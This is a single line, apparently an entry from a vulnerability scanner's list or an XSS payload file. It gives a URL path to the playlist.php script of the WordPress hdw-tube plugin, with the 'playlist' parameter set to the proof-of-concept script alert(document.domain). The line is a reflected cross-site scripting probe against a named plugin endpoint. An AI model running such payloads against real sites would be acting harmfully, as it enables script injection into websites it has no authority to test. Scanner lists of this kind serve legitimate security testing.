xss/wp-content/plugins/hdw-tube/playlist.php?playlist=alert(document.domain)